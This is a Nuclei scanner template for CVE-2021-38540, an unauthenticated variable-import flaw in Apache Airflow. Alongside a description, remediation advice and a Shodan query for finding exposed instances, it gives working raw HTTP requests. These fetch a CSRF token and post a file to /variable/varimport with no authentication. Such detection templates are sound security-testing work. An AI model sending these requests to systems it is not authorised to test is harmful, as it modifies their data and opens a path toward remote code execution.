id: CVE-2021-38540 info: name: Apache Airflow - Unauthenticated Variable Import author: pdteam severity: critical description: Apache Airflow Airflow >=2.0.0 and <2.1.3 does not protect the variable import endpoint which allows unauthenticated users to hit that endpoint to add/modify Airflow variables used in DAGs, potentially resulting in a denial of service, information disclosure or remote code execution. reference: - https://nvd.nist.gov/vuln/detail/CVE-2021-38540 - https://lists.apache.org/thread.html/rb34c3dd1a815456355217eef34060789f771b6f77c3a3dec77de2064%40%3Cusers.airflow.apache.org%3E - https://lists.apache.org/thread.html/rac2ed9118f64733e47b4f1e82ddc8c8020774698f13328ca742b03a2@%3Cannounce.apache.org%3E remediation: Upgrade to Apache Airflow 2.1.3 or higher. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-38540 cwe-id: CWE-306 metadata: shodan-query: title:"Sign In - Airflow" verified: true tags: cve,cve2021,apache,airflow,rce requests: - raw: - | GET /login/ HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} - | POST /variable/varimport HTTP/1.1 Host: {{Hostname}} Origin: {{RootURL}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB874qcjbpxTP1Hj7 Referer: {{RootURL}}/admin/variable/ ------WebKitFormBoundaryB874qcjbpxTP1Hj7 Content-Disposition: form-data; name="csrf_token" {{csrf}} ------WebKitFormBoundaryB874qcjbpxTP1Hj7 Content-Disposition: form-data; name="file"; filename="{{randstr}}.json" Content-Type: application/json { "type": "{{randstr}}" } ------WebKitFormBoundaryB874qcjbpxTP1Hj7-- cookie-reuse: true extractors: - type: regex name: csrf group: 1 internal: true regex: - 'type="hidden" value="(.*?)">' req-condition: true matchers-condition: and matchers: - type: dsl dsl: - 'contains(body_1, "Sign In - Airflow")' - 'status_code_2 == 302' - 'contains(all_headers_2, "session=.")' condition: and - type: word words: - 'You should be redirected automatically to target URL: ' # Enhanced by mp on 2022/04/22